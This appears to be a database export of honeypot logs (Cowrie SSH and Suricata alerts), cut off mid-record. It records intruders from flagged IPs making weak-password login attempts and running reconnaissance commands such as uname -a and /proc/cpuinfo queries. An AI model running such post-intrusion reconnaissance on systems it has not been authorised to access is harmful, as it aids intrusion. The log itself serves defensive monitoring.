20514	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:04:25.918588+03	2021-09-20 14:15:02.470614+03	{"_id": "aQXgAnwBvYTbRNuE6vks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:04:25.918588Z", "@timestamp": "2021-09-20T11:04:25.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20515	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.284782+03	2021-09-20 14:15:02.471612+03	{"_id": "bgXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.284782Z", "@timestamp": "2021-09-20T11:04:26.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20522	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.432735+03	2021-09-20 14:15:02.480613+03	{"_id": "kwXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.432735Z", "@timestamp": "2021-09-20T11:04:29.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20516	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.093931+03	2021-09-20 14:15:02.472613+03	{"_id": "cAXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "176.60.208.43", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1501016616821289, "duplicate": true, "timestamp": "2021-09-20T11:04:26.093931Z", "@timestamp": "2021-09-20T11:04:26.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20517	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.780607+03	2021-09-20 14:15:02.474613+03	{"_id": "cQXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "176.60.208.43", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15015435218811035, "duplicate": true, "timestamp": "2021-09-20T11:04:26.780607Z", "@timestamp": "2021-09-20T11:04:26.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20518	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.986948+03	2021-09-20 14:15:02.475613+03	{"_id": "cgXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.986948Z", "@timestamp": "2021-09-20T11:04:26.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20519	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.751099+03	2021-09-20 14:15:02.476613+03	{"_id": "iwXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.751099Z", "@timestamp": "2021-09-20T11:04:28.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20520	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.042561+03	2021-09-20 14:15:02.478613+03	{"_id": "jgXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.042561Z", "@timestamp": "2021-09-20T11:04:28.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20521	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.432239+03	2021-09-20 14:15:02.479613+03	{"_id": "kQXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.432239Z", "@timestamp": "2021-09-20T11:04:29.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20523	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:04:29.097133+03	2021-09-20 14:15:02.481612+03	{"_id": "mgXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [test2/123] failed", "session": "91c258bcd7a6", "@version": "1", "password": "123", "username": "test2", "timestamp": "2021-09-20T11:04:29.097133Z", "@timestamp": "2021-09-20T11:04:29.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20524	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.228676+03	2021-09-20 14:15:02.482612+03	{"_id": "nQXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "176.60.208.43", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15027666091918945, "duplicate": true, "timestamp": "2021-09-20T11:04:30.228676Z", "@timestamp": "2021-09-20T11:04:30.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20525	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.783933+03	2021-09-20 14:15:02.483644+03	{"_id": "ogXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.783933Z", "@timestamp": "2021-09-20T11:04:30.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20526	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.413031+03	2021-09-20 14:15:02.485642+03	{"_id": "nAXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.413031Z", "@timestamp": "2021-09-20T11:04:30.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20527	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:04:30.415287+03	2021-09-20 14:15:02.486646+03	{"_id": "oAXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "91c258bcd7a6", "@version": "1", "duration": 2.9135348796844482, "timestamp": "2021-09-20T11:04:30.415287Z", "@timestamp": "2021-09-20T11:04:30.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20528	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.300454+03	2021-09-20 14:15:02.487643+03	{"_id": "TwXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d82450cd2684", "@version": "1", "duration": 1.5806221961975098, "timestamp": "2021-09-20T11:04:23.300454Z", "@timestamp": "2021-09-20T11:04:23.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20529	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.962663+03	2021-09-20 14:15:02.48864+03	{"_id": "UAXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "176.60.208.43", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15137863159179688, "duplicate": true, "timestamp": "2021-09-20T11:04:23.962663Z", "@timestamp": "2021-09-20T11:04:23.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20530	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:04:24.000681+03	2021-09-20 14:15:02.489613+03	{"_id": "UwXgAnwBvYTbRNuE4vlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 511345560290704, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 64530, "timestamp": "2021-09-20T11:04:24.000681Z", "@timestamp": "2021-09-20T11:04:24.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20531	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.174571+03	2021-09-20 14:15:02.490643+03	{"_id": "VAXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.174571Z", "@timestamp": "2021-09-20T11:04:24.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20532	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.709243+03	2021-09-20 14:15:02.492612+03	{"_id": "VwXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "6e48cce77a89255fe38a30a046d203b3ef1e5d0bd66ac233d84aa33b57a2f0ac", "src_ip": "176.60.208.43", "ttylog": "log/tty/6e48cce77a89255fe38a30a046d203b3ef1e5d0bd66ac233d84aa33b57a2f0ac", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/6e48cce77a89255fe38a30a046d203b3ef1e5d0bd66ac233d84aa33b57a2f0ac after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1656782627105713, "duplicate": false, "timestamp": "2021-09-20T11:04:24.709243Z", "@timestamp": "2021-09-20T11:04:24.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20533	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.869325+03	2021-09-20 14:15:02.493614+03	{"_id": "WAXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.869325Z", "@timestamp": "2021-09-20T11:04:24.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20534	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.019184+03	2021-09-20 14:15:02.494643+03	{"_id": "WwXgAnwBvYTbRNuE4_ku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "176.60.208.43", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.14998388290405273, "duplicate": true, "timestamp": "2021-09-20T11:04:25.019184Z", "@timestamp": "2021-09-20T11:04:25.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20536	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.436168+03	2021-09-20 14:15:02.496642+03	{"_id": "agXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "176.60.208.43", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15146756172180176, "duplicate": true, "timestamp": "2021-09-20T11:04:26.436168Z", "@timestamp": "2021-09-20T11:04:26.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20537	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.630534+03	2021-09-20 14:15:02.497642+03	{"_id": "bQXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.630534Z", "@timestamp": "2021-09-20T11:04:26.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20538	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:04:27.779992+03	2021-09-20 14:15:02.498643+03	{"_id": "cwXgAnwBvYTbRNuE7vkX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1069457237302131, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50734, "dest_port": 